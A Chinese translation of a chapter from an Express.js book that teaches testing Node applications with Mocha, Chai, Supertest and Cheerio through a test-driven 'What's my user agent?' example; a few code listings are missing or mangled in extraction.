如果我们只是粗略地查看代码,它看起来应该可以工作,但让我们编写一些测试来增加我们对它的信心。

在同一目录中创建一个package.json文件,它应包含以下内容:

列表 9.2:capitalize 函数的 package.json 文件

{   "private": true,   "devDependencies": {     "chai": "¹.9.2", #A     "mocha": "².0.1" #A   },   "scripts": {     "test": "mocha"  #B   }``}

A 如同往常,你的版本号可能会有所不同。

B 当你输入“npm test”时,这将运行 Mocha 来运行你的测试。

我们在这里使用两个模块:Mocha 和 Chai。

Mocha 是一个测试框架。如果你曾经使用过其他 JavaScript 测试框架,如 Jasmine,这应该很熟悉。最终,它是运行你的测试的东西。它是你用来表达“这里是我要测试的内容,让我设置一下,这里是我测试 A 项,这里是我测试 B 项”,等等的语法。

Chai 是一个断言库。当 Mocha 布置测试时,Chai(几乎可以说是字面意义上)会说“我期望 helloWorld 函数返回 'hello world'”。实际的语法是 expect(helloWorld()).to.equal("hello world"),这读起来很像之前的英文。如果 helloWorld 正常工作并返回 'hello world',你的测试将会通过。如果它没有返回 'hello world',将会出现一个错误,告诉你事情并不像你预期的那样。

有许多断言库(包括 Node 内置的一个),但最终,Mocha 等待断言库抛出错误。如果没有抛出错误,测试通过。如果抛出错误,测试失败。这就是我们使用 Chai 的原因——它是在测试失败时抛出错误的好方法。

Mocha 和 Chai 之间的区别很重要。Mocha 是测试运行器,所以有一个实际的可执行文件会运行(你永远不会输入 node my_tests.js,也永远不会 require 它)。Mocha 将一些全局变量注入到你的代码中——正如我们将看到的,这些全局变量存在是为了结构化你的每个测试。在每个这样的测试中,你使用 Chai 实际测试你的代码。当我们测试我们的大写库时,我们将使用 Mocha 将我们的测试分解成“大写库将单个单词大写”和“大写库在传入空字符串时不会出错”这样的部分。在 Chai 层面上,我们将实际调用我们的大写库并确保我们的模块输出符合我们的预期。

9.2.3 当我们运行我们的测试时会发生什么

如你所预期,我们实际上会想要运行用 Mocha 和 Chai 编写的这些测试,以确保我们的代码工作。我们该如何做呢?

首先,如上图所示,我们已经在我们的 package.json 中定义了测试脚本。这允许我们在命令行中输入 npm test。这会运行 Mocha,然后运行我们的测试,如图 9.2 所示。

图 9.2 当我们在命令行中输入“npm test”时会发生什么。

现在我们已经设置了一切。是时候开始编写一些测试了。

9.2.4 使用 Mocha 和 Chai 编写你的第一个测试

现在我们已经编写了我们的大写函数的第一个版本,让我们编写一个测试来看看它是否工作!

在你的项目的根目录下创建一个名为 test 的文件夹;这是你的测试代码将存放的地方。在那个目录内,为测试我们的大写函数创建一个文件;我简单地将其命名为 capitalize.js。将以下内容放入其中:

列表 9.3 对 capitalize 的第一个测试(在 test/capitalize.js 中)

var capitalize = require("../capitalize");  #A   var chai = require("chai");  #B var expect = chai.expect;    #B   describe("capitalize", function() {  #C     it("capitalizes single words", function() {  #D     expect(capitalize("express")).to.equal("Express");  #E     expect(capitalize("cats")).to.equal("Cats");        #E   });  });

A 首先,引入我们要测试的函数。

B 需要先引入 Chai 库,然后使用其“expect”属性,我们将用它来在测试中做出断言。

C 这被称为“测试套件”,它描述了同一主题的一系列规范。这是在 Mocha 框架级别。

D 这是一个规范,它有一个标题和一些要运行的代码。这是在 Mocha 框架级别。

E 进行实际的断言;确保我们的代码实际上做了我们期望的事情!这是在 Chai 框架级别。

那么,这里发生了什么?

首先,我们引入我们的模块以便测试它。接下来,我们引入 Chai 并使用其expect属性,这样我们就可以用它来做出断言。 (Chai 有两种其他的断言风格,但现在我们将坚持使用这一种。)

接下来,我们describe一个“测试套件”。这基本上是应用程序的一个组件;这可能是一个类或者一系列函数。这个测试套件被称为“capitalize”;它是英文,不是代码。在这种情况下,这个测试套件描述了大写化函数。

在这个测试套件中,我们定义了一个测试(我们稍后会添加更多)。它是一个 JavaScript 函数,说明了程序中某个部分应该做什么。它用普通的英语(“它将单词首字母大写”)和代码来说明。对于每个测试套件,你可以根据需要添加任意数量的测试。

最后,在测试内部,我们expect``capitalize("express")的结果应该等于"Express",并且对于"cats"也应该进行相同的大写化处理。

关于我们的代码,运行npm test会经过类似于图 3 的流程:

图 9.3 输入 npm test 会经过这个流程,最终运行 test/capitalize.js 中的代码。

如果你进入项目的根目录并输入npm test,你会看到如下输出:

capitalize   ✓ 将单词首字母大写  1 passing (9ms)

这意味着我们已经运行了一个测试,并且它通过了!恭喜你——你已经编写了你的第一个测试。我们不知道一切是否都工作得 100%,但我们知道它正确地大写了两个不同单词的首字母。

我们还没有走出困境;我们还需要编写更多测试来更有信心我们的代码是正确的。

9.2.5 添加更多测试

我们已经编写了一个测试,它表明我们的代码并没有完全出错。但我们不知道它是否适用于更复杂的输入。如果你传递一个没有字母的字符串会发生什么?关于空字符串呢?我们可以看到我们在大写第一个字母,但我们是否将字符串的其余部分转换为小写?让我们添加一些更多的测试来测试“不愉快的情况”。

让我们先添加另一个相对简单的测试:它是否将字符串的其余部分转换为小写?我们将保留之前的内容,并在 test/capitalize.js 中添加一个新的测试:

列表 9.4 对 capitalize 的另一个测试(在 test/capitalize.js 中)

// …   describe("capitalize", function() {     it("capitalizes single words", function() { /* … * / });     it("makes the rest of the string lowercase", function() {  #A     expect(capitalize("javaScript")).to.equal("Javascript"); #B   });  });

A 我们的新测试将确保它“将字符串的其余部分转换为小写”。

B 我们期望将“javaScript”转换为大写后等于“Javascript”。

您可以使用 npm test 运行测试(或简写为 npm t),您应该会看到类似以下内容:

capitalize   ✓ 将单个单词转换为大写   ✓ 将字符串的其余部分转换为小写  2 passing (10ms)

好的!现在我们更有信心我们在大写第一个字母并将字符串的其余部分转换为小写。但我们还没有走出困境。

关于添加空字符串的测试呢?将空字符串转换为大写应该只返回空字符串,对吧?让我们编写一个测试来看看是否会发生这种情况。

列表 9.5 测试空字符串的资本化(在 test/capitalize.js 中)

// …   describe("capitalize", function() {     // …     it("leaves empty strings alone", function() {     expect(capitalize("")).to.equal("");   });  });

再次运行 npm test 来运行这个新测试(以及所有其他测试)。您应该会看到类似以下输出:

capitalize   ✓ 将单个单词转换为大写   ✓ 将字符串的其余部分转换为小写   `1) 留空字符串不变`   2 passing (10ms) `1 failing`   1) capitalize 留空字符串不变:    `TypeError: Cannot call method 'toUpperCase' of undefined`     at capitalize (/path/to/capitalizeproject/capitalize.js:2:28)``    …

哎呀!看起来我们有一个红色/失败的测试。让我们看看出了什么问题。

首先,我们可以看到错误发生在运行“留空字符串不变”测试时。错误是一个 TypeError,它告诉我们不能在 undefined 上调用 toUpperCase 方法。我们还可以看到堆栈跟踪,它从 capitalize.js 的第 2 行开始。以下是导致错误的行:

var firstLetter = str[0].toUpperCase();

看起来当我们传递空字符串时,str[0] 是未定义的,所以我们需要确保它是已定义的。让我们将使用方括号的使用替换为 charAt 方法。我们新的改进函数应该看起来像这样:

列表 9.6 新的 capitalize.js


#A 查看这条新改进的行!

重新运行我们的测试 `npm test`,你应该会看到一切正常绿色!

`capitalize`

我们可以添加一些更多的测试来确保我们的代码是健壮的。我们将添加一个不尝试大写任何字母的测试。我们还将确保它正确地大写多词字符串。我们还应该确保如果字符串已经正确大写,它不会改变字符串。这些新测试应该会通过我们已有的代码。

列表 9.7 一些新的大写测试(在 test/capitalize.js 中)

`// …`

运行 `npm test`,你应该会看到我们的测试通过。

最后,我们将在我们的函数上再抛出一个曲线球:String 对象。每个 JavaScript 风格指南都会警告你避免使用 String 对象——这是一个可能导致意外行为的不良消息,就像他们所说的 `==` 或 `eval`。可能你甚至都不知道 JavaScript 的这个特性,这是最好的,因为你永远不应该使用它。

不幸的是,有些程序员(以及其他一些人,遗憾的是,是傻瓜)缺乏经验。他们中的一些人可能会使用你的代码。你可以认为错误是他们的责任,但你也可以认为你的代码不应该是问题。这就是为什么我们应该用 String 对象测试我们的函数,以防万一。让我们写最后一个使用 String 对象的测试。

列表 9.8 使用 String 对象进行测试

`// …`

#A `str.valueOf()` 将 String 对象转换为“普通”字符串。

我们为我们的小大写函数有了七个测试;最后一次运行 `npm test` 确保它们都通过!

`capitalize` `  ✓ 保留空字符串不变` `  ✓ 保留没有单词的字符串不变` `  ✓ 大写单个单词` `  ✓ 将字符串的其余部分转换为小写` `  ✓ 保留已经大写的单词不变` `  ✓ 大写字符串对象而不改变其值` `  7 passing (13ms)`

看看我们!我们现在相当确信我们的大写函数即使在传入各种奇怪的字符串时也能正常工作。

### 9.2.6 Mocha 和 Chai 的更多功能

到目前为止,我们只看到了如何使用 Mocha 和 Chai 来测试相等性。实际上,我们使用了一个华丽的相等运算符。但这两个模块能做的远不止这些。我们不会在这里介绍所有选项,但我们会看看几个例子。

在每个测试之前运行代码

在实际运行断言之前运行设置代码是很常见的。也许你正在定义一个要操作的变量或启动你的服务器。如果你在许多测试中执行此设置,Mocha 的 `beforeEach` 函数可以帮助减少重复代码的数量。

例如,假设我们创建了一个用户模型,并想对其进行测试。在每次测试中,我们都会创建一个用户对象并想对其进行测试。以下是我们可以这样做的方式:

列表 9.9 使用 Mocha 的 beforeEach 功能

`describe("User", function() {` `  var user;` `  beforeEach(function() {             #A` `    user = new User({                 #A` `      firstName: "Douglas",           #A` `      lastName: "Reynholm",           #A` `      birthday: new Date(1975, 3, 20) #A` `    });                               #A` `  });                                 #A` `  it("可以提取其名称", function() {` `    expect(user.getName()).to.equal("Douglas Reynholm");` `  });` `  it("可以获取其年龄(以毫秒为单位)", function() {` `    var now = new Date();` `    expect(user.getAge()).to.equal(now - user.birthday);` `  });` `});`

#A 这段代码在每次测试之前都会运行,因此用户定义在每次测试中。

上述代码测试了一个虚构的用户对象的某些功能,但它没有在每个测试(每个 `it` 块)中重新定义示例用户对象的代码;它是在 `beforeEach` 块中定义的,在每个测试运行之前重新定义用户。

测试错误

如果我们向我们的大写函数传递一个字符串,一切应该正常工作。但如果我们传递一个非字符串,比如一个数字或 `undefined`,我们希望我们的函数抛出某种错误。我们可以使用 Chai 来测试这一点。

列表 9.10 使用 Chai 测试错误

`// …` `it("如果传入数字则抛出错误", function() {` `  expect(function() { capitalize(123); }).to.throw(Error);` `});` `// …`

这将测试调用 `capitalize` 函数并传入 `123` 会抛出错误。唯一棘手的地方是我们必须将其包裹在一个函数中。这是因为我们不希望我们的测试代码创建错误——我们希望这个错误被 Chai 捕获。

反转测试

我们可能想要测试一个值是否等于另一个值,或者一个函数是否抛出错误,但我们也可能想要测试一个值不等于另一个值,或者一个函数不抛出错误。在 Chai 几乎可以像英语一样阅读的语法精神下,我们可以使用 `.not` 来反转我们的测试。

假设我们想要确保将“foo”大写后不等于“foo”。这是一个有点牵强的例子,但我们可能想要确保我们的大写函数确实做了些什么。

列表 9.11 否定测试

`// ...` `it("改变值", function() {` `  expect(capitalize("foo")).not.to.equal("foo");  #A` `});` `// …`

# 注意到其中的 `.not`;这是反转我们的条件。

我们只是刚刚触及 Chai 能做什么的表面。有关更多功能,请查看 [`chaijs.com/api/bdd/`](http://chaijs.com/api/bdd/) 的文档。

## 9.3 使用 Supertest 测试 Express 服务器

上述技术对于测试“业务逻辑”如模型行为或实用函数很有用。这些通常被称为“单元测试”;它们测试应用程序的离散单元。但你也可能想要测试 Express 应用程序的路线或中间件。你可能想要确保你的 API 端点返回了它们应该返回的值,或者你正在提供静态文件,或者许多其他事情。这些通常被称为“集成测试”,因为它们测试的是整个集成系统,而不是孤立的各个部分。

我们将使用 Supertest 来完成这个任务。Supertest 启动我们的 Express 服务器并向其发送请求。一旦请求返回,我们就可以对响应进行断言。例如,我们可能想要确保当我们向主页发送 GET 请求时,我们得到 HTTP 200 状态码。Supertest 将发送 GET 请求到主页,然后在我们收到响应时,确保其 HTTP 状态码为 200。我们可以使用这种方法来测试我们在应用程序中定义的中间件或路由。

大多数浏览器都会向服务器发送一个名为 `User-Agent` 的头信息,以标识浏览器的类型。当你用手机浏览网站时,网站通常会根据这个信息为你提供移动版网站:服务器可以看到你正在使用移动设备,并为你发送不同的页面版本。

让我们构建“我的用户代理是什么?”,这是一个简单的应用程序,用于获取用户的用户代理字符串。当你用浏览器访问它时,它将支持“经典”HTML 视图。你还可以以纯文本形式获取用户的用户代理。这两个响应将只有一个路由。如果一个访客来到你网站的根目录(在 `/`),并且没有请求 HTML(大多数网络浏览器都会这样做),他们将看到他们的用户代理作为纯文本。如果他们访问相同的 URL,但他们的 `Accepts` 头信息提到了 HTML(就像网络浏览器一样),他们将得到他们的用户代理作为 HTML 页面。

为此项目创建一个新的目录,并在文件夹中创建一个包文件:

列表 9.12 “我的用户代理是什么?”的 package.json

`{`   `  "name": "whats-my-user-agent",`   `  "private": true,`   `  "scripts": {`   `    "start": "node app",`   `    "test": "mocha"`   `  },`   `  "dependencies": {`   `    "ejs": "¹.0.0",       #A`   `    "express": "⁴.10.1"`   `  },`   `  "devDependencies": {`   `    "mocha": "².0.1",`   `    "cheerio": "⁰.17.0",  #B`   `    "supertest": "⁰.14.0" #C`   `  }``}`

#A 我们将使用 EJS 来渲染 HTML 页面,就像我们之前使用的那样。

#B Cheerio 让我们能够解析渲染的 HTML 进行测试。我们将使用它来确保用户代理字符串被正确地插入到我们的 HTML 中。

#C Supertest 允许我们启动 Express 服务器并对其进行测试。我们将使用 Supertest 测试我们应用程序的两个路由。

在前面的例子中,我们先编写了代码,然后编写了测试。在这个例子中,我们将颠倒顺序,进行测试驱动开发。我们知道我们想要应用程序做什么,所以我们可以立即编写测试,而不必担心如何实现它。我们的测试一开始会失败,因为我们还没有编写任何“真正的”代码!在编写完测试后,我们将返回并“填充”应用程序,以使测试通过。

TDD 方法并不总是最好的;有时你并不完全清楚你的代码应该是什么样子,所以编写测试会有些浪费。网上有很多关于 TDD 优缺点的激烈争论;我不会在这里重复它们,但我们将尝试在这个例子中使用 TDD。

我们将为这个应用程序的两个主要部分编写测试:

1. 纯文本 API

2. HTML 视图

让我们从测试纯文本 API 开始。

### 9.3.1 测试简单的 API

因为这是最简单的,我们将从测试纯文本 API 开始。

用简单的话说,这个测试需要向我们的服务器发送一个对`/`路由的请求,这样服务器就知道我们首先想要纯文本。我们想要断言(1)响应是正确的用户代理字符串(2)响应以纯文本形式返回。让我们将这个英语转化为 Mocha 测试。

为所有测试创建一个名为`test`的文件夹,并为测试纯文本 API 创建一个文件;我命名为`txt.js`。在里面,放置以下框架:

列表 9.13 纯文本测试框架(在 test/txt.js 中)

`var app = require("../app");  #A`   `describe("plain text response", function() {`   `  it("returns a plain text response", function(done) {  #B` `    // ...`   `  });`   `  it("returns your User Agent", function(done) {  #B`   `    // ...`   `  });`   `});`

#A 我们将引入我们的应用程序,因为这是我们将要测试的。我们将将其放在项目根目录下的 app.js 中(但由于这是 TDD,我们实际上还没有这样做)。

#B 将有两个测试。一个确保我们得到一个纯文本响应,另一个确保我们得到正确的用户代理字符串。

到目前为止,这只是一个骨架,但它与我们之前测试大写模块时的情况并没有太大不同。我们正在`require`我们的应用(我们还没有编写!),描述一系列测试(在这种情况下是纯文本模式),然后定义两个测试。

让我们填写第一个测试,以确保我们的应用程序返回纯文本响应。记住:我们正在测试的内容还不存在。我们将编写测试,观察它们失败,然后“填写”真正的代码以使测试通过。

我们的第一次测试需要向服务器发送请求,确保将`Accept`头设置为`text/plain`,一旦从服务器收到响应,我们的测试应该确保它以`text/plain`返回。Supertest 模块将帮助我们完成这项工作,所以请在文件顶部`require`它。然后我们将使用 Supertest 向我们的服务器发送请求,看看它是否给出了我们想要的响应。

列表 9.14 使用 Supertest 检查响应(在 test/txt.js 中)

`var supertest = require("supertest");`   `// …`   `it("返回纯文本响应", function(done) {   #A   supertest(app)   #B   .get("/")   #B   .set("User-Agent", "我的酷浏览器")   #B   .set("Accept", "text/plain")   #B   .expect("Content-Type", /text\/plain/)   #C   .expect(200)   #C   .end(done);   #A   });`   `// …`

#A 当运行像这样的异步测试时,我们的函数会接收到一个回调。我们在代码全部运行完成后调用那个回调。

#B Supertest 构建请求。我们正在测试我们的应用,访问“/”URL,并设置两个 HTTP 头:一个用于用户代理,一个用于我们接受的内容类型。

#C Supertest 随后检查响应,确保 Content-Type 匹配“text/plain”并且我们得到状态码 200。

注意我们是如何使用 Supertest 来测试我们的应用的。它并不完全像 Chai,因为它读起来像英语,但它应该相当直接。以下是我们在 Supertest 中逐行所做的事情:

1.  我们通过将`app`作为参数调用`supertest`来包装我们的应用。这返回一个 Supertest 对象。

2.  接下来,我们在那个 Supertest 对象上调用`get`,使用我们想要请求的路由;在这种情况下,我们想要应用程序的根(在“/”上)。

3.  接下来,我们在这次请求上设置一些选项;在这种情况下,我们正在设置 HTTP `Accept`头为`text/plain`和 User-Agent 头为"我的酷浏览器"。我们多次调用`set`,因为我们想设置多个头。

4.  在第一次调用`expect`时,我们说“我希望 Content-Type 匹配'text/plain'”。请注意,这是一个正则表达式,而不是一个字符串。我们在这里想有点灵活性;Content-Type 可以是“text/plain”,也可以是“text/plain; charset=utf-8”或类似的东西。我们关心测试纯文本内容类型,但不关心特定的字符集,因为在这种情况下,它只是 ASCII,在大多数字符编码中都是一样的。

5. 在第二次调用 `expect` 中,我们确保我们得到 HTTP 状态码 200,表示“OK”。你可以想象编写一个测试来测试一个不存在的资源,你期望状态码为 404,或者任何其他许多 HTTP 状态码。

6. 最后,我们调用 `end` 并传递 `done`。`done` 是 Mocha 传递给我们的回调函数,我们用它来表示异步测试(如这个测试)全部完成。

接下来,让我们填写我们的第二个测试,以确保我们的应用程序返回正确的 User Agent。它看起来将与上面的类似,但我们实际上会测试响应体。让我们填写我们的第二个测试:

列表 9.15 测试我们的应用程序返回正确的 User Agent 字符串(在 test/txt.js)

`// …` `it("返回你的 User Agent", function(done) {` `  supertest(app)  #A` `    .get("/")     #A` `    .set("User-Agent", "my cool browser")  #A` `    .set("Accept", "text/plain")  #A` `    .expect(function(res) {   #B` `      if (res.text !== "my cool browser") {  #B` `        throw new Error("响应不包含 User Agent");  #B` `      }  #B` `    })   #B` `    .end(done); #C` `});` `// …`

#A 这个请求设置与之前相同。

#B 我们调用 `expect` 并传递一个函数,如果得不到正确的 User Agent 字符串,该函数会抛出错误。

#C 再次,我们在完成后调用“done”。

本测试的前三行和最后一行应与之前相似;我们设置了 Supertest 来测试我们的应用程序,测试完成后,我们调用 `done`。

中间部分调用 `expect` 并传递一个函数。如果 `res.text`(应用程序返回的文本)不等于我们传递的 `User-Agent` 头信息,则该函数会抛出错误。如果它们相等,则函数简单地结束,没有任何麻烦。

最后一件事:这里有一些重复的代码。在这个测试中,我们总是向我们的服务器发送相同的请求:相同的应用程序、相同的路由和相同的头信息。如果我们不必重复这些操作会怎样?进入 Mocha 的 `beforeEach` 功能:

列表 9.16 使用 beforeEach 在我们的代码中减少重复(在 test/txt.js)

`// …` `describe("纯文本响应", function() {` `  var request;` `  beforeEach(function() {  #A` `    request = supertest(app)  #A` `      .get("/")  #A` `      .set("User-Agent", "my cool browser")  #A` `      .set("Accept", "text/plain");  #A` `  });  #A` `  it("返回纯文本响应", function(done) {` `    request  #B` `      .expect("Content-Type", /text\/plain/)` `      .expect(200)` `      .end(done);` `  });` `  it("返回你的 User Agent", function(done) {` `    request  #B` `      .expect(function(res) {` `        if (res.text !== "my cool browser") {` `          throw new Error("响应不包含 User Agent");` `        }` `      })` `      .end(done);` `  });` `});`

#A 我们可以使用 `beforeEach` 在这个 `describe` 块中的每个测试之前运行相同的代码。在这种情况下,我们将请求变量重新赋值为一个新的 Supertest 对象。

#B 我们可以在测试中使用变量而不需要重复。

正如你所见,我们正在使用`beforeEach`来移除重复的代码。当你有很多测试每次都需要相同的设置时,这种做法的好处才能真正显现出来。

现在我们已经编写了两个测试,让我们用`npm test`来做一个理智的检查。因为我们还没有创建应用程序将要存放的文件,你应该会得到一个包含类似“无法找到模块 '../app'"的错误。这正是我们目前所期望的:我们已经编写了测试,但没有真正的代码,那么我们的测试怎么可能通过呢?这是红-绿-重构周期中的“红色”步骤。

你可以通过在项目的根目录中创建`app.js`并在其中放入一个骨架 Express 应用程序来使错误变得更好:

列表 9.17 app.js 的骨架

`var express = require("express");` `var app = express();` `module.exports = app;`

当你运行`npm test`时,你的测试仍然会失败。你的错误可能看起来像这样:

`  html 响应` `    1) 返回一个 HTML 响应` `    2) 返回你的用户代理` `  纯文本响应` `    3) 返回一个纯文本响应` `    4) 返回你的用户代理` `  0 个通过(68ms)` `  4 个失败` `  1) html 响应返回一个 HTML 响应:` `     错误:期望 200 "OK",但得到 404 "未找到"` `       ...` `  2) html 响应返回你的用户代理:` `     类型错误:无法读取 null 的'trim'属性` `       ...` `  3) 纯文本响应返回一个纯文本响应:` `     错误:期望"Content-Type"匹配/text/plain/,但得到"text/html; charset=utf-8"` `       ...` `  4) 纯文本响应返回你的用户代理:` `     错误:响应不包含用户代理` `       ...`

毫无疑问,这些都是错误。但这些错误已经远远优于“无法找到模块”。我们可以看到,这里正在进行真正的测试。

让我们编写应用程序,让这些测试从红色(失败)变为绿色(通过)。

### 9.3.2  为我们的第一个测试填充代码

现在是时候编写一些“真实”的代码了,将以下内容放入项目的根目录下的`app.js`中:

列表 9.18 app.js 的第一个草稿

`var express = require("express");` `var app = express();` `app.set("port", process.env.PORT || 3000);` `app.get("/", function(req, res) { #A ` `  res.send(req.headers["user-agent"]); #A ` `}); #A ` `app.listen(app.get("port"), function() {` `  console.log("App started on port " + app.get("port"));` `});` `module.exports = app; #B`

#A 我们编写一些代码来返回用户代理头。

#B 导出 app 以供测试。

最后这一行可能看起来有些新:我们导出了 app。通常,当你只是运行一个文件(如`node app.js`)时,你不需要导出 app,因为你不会把它当作一个模块。但当你测试应用程序时,你需要导出它,这样外部世界就可以对其进行探索和测试。

如果你现在运行 `npm test`,你会看到以下类似输出:

`纯文本响应` `  1) 返回纯文本响应` `  ✓返回你的用户代理` `  1 通过 (29ms)` `  1 失败` `  1) 纯文本响应返回纯文本响应:` `   错误:期望 "Content-Type" 匹配 /text/plain/,但得到 "text/html; charset=utf-8"` `    在 Test.assert …``    …`

这很好!我们还没有完全完成,因为只有一半的测试通过,但看起来我们正在返回正确的用户代理。只需添加一行代码就可以让所有测试通过:

列表 9.19 使 app.js 返回纯文本

`// …` `app.get("/", function(req, res) {` `  res.type("text");  #A` `  res.send(req.headers["user-agent"]);` `});` `// …`

#A 确保内容类型是纯文本的某种变体。

现在,当你运行 `npm test` 时,你会看到所有的测试都通过了!

`纯文本响应` `  ✓ 返回纯文本响应` `  ✓ 返回你的用户代理` `  2 通过 (38ms)`

这太棒了;我们现在正在返回我们想要的纯文本响应。现在我们已经完成了红-绿-重构循环中的“绿色”步骤。在这种情况下,最终的重构步骤很简单:我们不需要做任何事情。我们的代码如此简短且优美,以至于目前还不需要太多清理。

但是等等,我们不是也想返回 HTML 响应吗?我们的测试不应该通过,对吧?你是对的,明智的读者。让我们编写更多的测试,并回到“红色”步骤。

### 9.3.3 测试 HTML 响应

正如我们所见,如果用户请求纯文本,那么他们会得到纯文本。但如果他们想要 HTML,他们应该得到 HTML,但现在他们只是得到了纯文本。为了“测试驱动开发”的方式解决这个问题,我们将编写一些测试来确保 HTML 功能正常,我们会观察这些测试失败,然后填写其余的代码。

创建 `test/html.js`,它将包含我们服务器 HTML 部分的测试。这个文件的骨架将看起来与我们在纯文本测试部分看到的非常相似,但其中之一的内容将看起来相当不同。以下是 HTML 测试的骨架:

列表 9.20 测试我们的 HTML 响应(在 test/html.js 中)

`var app = require("../app");` `var supertest = require("supertest");` `describe("HTML 响应", function() {` `  var request;` `  beforeEach(function() {` `    request = supertest(app)  #A` `      .get("/")  #A` `      .set("User-Agent", "一个酷炫的浏览器")  #A` `      .set("Accept", "text/html");  #A` `  });` `  it("返回 HTML 响应", function(done) {` `    // …` `  });` `  it("返回你的用户代理", function(done) {` `    // …` `  });` `});`

#A 这个 beforeEach 与之前非常相似,但我们请求的是 text/html 而不是 text/plain。

到目前为止,这应该看起来与我们的纯文本测试中的代码非常相似。我们正在引入 app 和 Supertest;我们在 `beforeEach` 块中进行一些测试设置;我们确保我们得到的是 HTML 响应,并且还有正确的用户代理。

文件中的第一个测试与我们在另一个文件中编写的第一个测试非常相似。现在让我们来填充它:

列表 9.21 测试 HTML 响应(在 test/html.js 中)

`// …`   `it("返回 HTML 响应", function(done) {` `  request` `    .expect("Content-Type", /html/)` `    .expect(200)` `    .end(done);` `});`  `// …`

这与之前非常相似。我们正在测试一个包含“html”的响应,并希望 HTTP 状态码为 200。

下一个测试将展示一些相当不同的内容。

首先,让我们编写从服务器获取 HTML 响应的代码。这应该与之前看到的大致相同:

列表 9.22 获取 HTML 响应(在 test/html.js 中)

`// …`   `it("返回您的用户代理", function(done) {` `  request` `    .expect(function(res) {` `      var htmlResponse = res.text;` `      // …` `    })` `    .end(done);` `});`  `// …`

但现在是我们对 HTML 做些事情的时候了。我们不仅希望用户代理字符串出现在 HTML 的某个地方,我们希望它出现在一个特定的 HTML 标签内。我们的响应将类似于以下这样:

列表 9.23 我们可能在 HTML 响应中寻找的内容

`<!DOCTYPE html>` `<html>` `<head>` `  <meta charset="utf-8">` `</head>` `<body>` `  <h1>您的用户代理是:</h1>` ``   `<p class="user-agent">Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/36.0</p>` `` `</body>``</html>`

我们对大多数 HTML 并不太关心;我们真正关心测试的是具有`user-agent`类的元素中的内容。我们如何获取它?

进入 Cheerio,这是我们 devDependencies 列表中的最后一个依赖项。简而言之,Cheerio 是 Node.js 版本的 jQuery。这听起来可能有些荒谬——为什么需要在没有 DOM 的环境中处理 DOM 呢?——但这正是我们在这里需要的。我们需要能够遍历 HTML 并找到其中的用户代理。如果我们处于浏览器中,我们可以使用 jQuery 来完成这个任务。因为我们处于 Node.js 环境中,我们将使用 Cheerio,这对于任何了解 jQuery 的人来说都非常熟悉。我们将使用 Cheerio 来解析 HTML,找到用户代理应该出现的位置,并确保它是有效的。

首先在测试文件的顶部引入 Cheerio,然后我们将使用 Cheerio 来解析我们从服务器获取的 HTML。

列表 9.24 使用 Cheerio 解析 HTML(在 test/html.js 中)

`// …`   `var cheerio = require("cheerio");`   `// …`   `it("返回您的用户代理", function(done) {` `  request` `    .expect(function(res) {` `      var htmlResponse = res.text;` `      var $ = cheerio.load(htmlResponse);  #A` `      var userAgent = $(".user-agent").html().trim();  #B` `      if (userAgent !== "一个酷炫的浏览器") {  #C` `        throw new Error("用户代理未找到");  #C` `      }  #C` `    })` `    .end(done);` `});`  `// …`

#A 从我们的 HTML 中初始化一个 Cheerio 对象。

#B 从 HTML 中获取用户代理。这应该与 jQuery 非常相似。

#C 测试用户代理,就像之前一样。

在这里,我们使用 Cheerio 解析我们的 HTML,就像我们使用 jQuery 一样。一旦我们解析了 HTML 并获取了我们想要的值,我们就像以前一样运行我们的测试!Cheerio 使解析 HTML 变得容易,你可以用它来测试 HTML 响应。

现在我们已经编写了两个测试,我们可以运行 `npm test`。我们应该看到我们的纯文本测试像以前一样通过,但我们的新 HTML 测试会失败,因为我们还没有编写代码——这就是“红色”步骤。让我们让这些测试通过。

如果你一直跟着做,这段代码不应该太疯狂。我们将对我们的请求处理器做一些修改,并渲染一个包含用户代理的 EJS 视图,正如我们的测试所期望的那样。

首先,让我们对 `app.js` 进行一些修改。我们将设置 EJS 作为我们的视图引擎,然后在客户端需要 HTML 时渲染 HTML 视图。

列表 9.25 填充 app.js 以支持 HTML 响应

`var express = require("express");` `var path = require("path");`   `var app = express();`   `app.set("port", process.env.PORT || 3000);`   `var viewsPath = path.join(__dirname, "views"); #A` `app.set("view engine", "ejs");                 #A` `app.set("views", viewsPath);                   #A`   `app.get("/", function(req, res) {` `  var userAgent = req.headers["user-agent"] || "none";`   `  if (req.accepts("html")) {              #B` `    res.render("index", { userAgent: userAgent });  #B` `  } else {` `    res.type("text");  #C` `    res.send(userAgent);  #C` `  }` `});`  `// …`

#A 设置我们的视图使用 EJS 并确保我们使用“views”目录。

#B 如果请求接受 HTML,渲染“index”模板(我们将在稍后定义)。

#C 否则,像我们以前做的那样,将用户代理字符串作为纯文本发送。

如果你以前见过视图,这段代码不应该太疯狂。我们正在设置 EJS 作为我们的视图引擎,为其分配一个路径,然后在用户请求时渲染一个视图。

我们最后需要做的是定义 EJS 视图。创建 `views/index.ejs` 并将以下代码放入其中:

列表 9.26 views/index.ejs

`<!DOCTYPE html>` `<html>` `<head>` `  <meta charset="utf-8">` `  <style>` `  html {` `    font-family: sans-serif;` `    text-align: center;` `  }` `  </style>` `</head>` `<body>` `  <h2>Your User Agent is:</h2>` `  <h1 class="user-agent">` `    <%= userAgent %>` `  </h1>` `</body>``</html>`

现在是关键时刻。使用 `npm test` 运行所有测试,你应该看到一片积极:

`html response` `  ✓ 返回 HTML 响应` `  ✓ 返回你的用户代理` `plain text response` `  ✓ 返回纯文本响应` `  ✓ 返回你的用户代理` `  4 passing (95ms)`

所有你的测试都通过了!一切都很绿色!好日子!现在你知道如何使用 Mocha、Chai、Supertest 和 Cheerio 测试应用程序了。

本章的最大收获并不是一系列工具:而是通过测试,你可以对自己的应用程序行为更加自信。当我们编写代码时,我们希望我们的代码能按我们的意图工作。这通常很难做到,但有了测试,我们可以更有信心地认为事情会按我们的意图进行。

## 9.4     总结

在本章中,我们学习了:

·  测试是什么以及它如何帮助我们对自己的代码行为更有信心

·  不同的测试方法和常见实践,如测试驱动开发和“尽可能多地测试”

·  如何使用 Mocha 和 Chai 在 Node.js 中运行测试

·  如何使用 Mocha 和 Supertest 测试“真实”的 Express 服务器

·  如何使用 Cheerio 测试 HTML 响应


# 10  安全

在第八章,我告诉你我有三个最喜欢的章节。第一个是第三章,我在那里讨论了 Express 的基础,试图让你对框架有一个扎实的理解。第二个最喜欢的章节是第八章,你的应用程序使用数据库变得“更真实”。欢迎来到我最喜欢的最后一个章节:关于安全的章节。

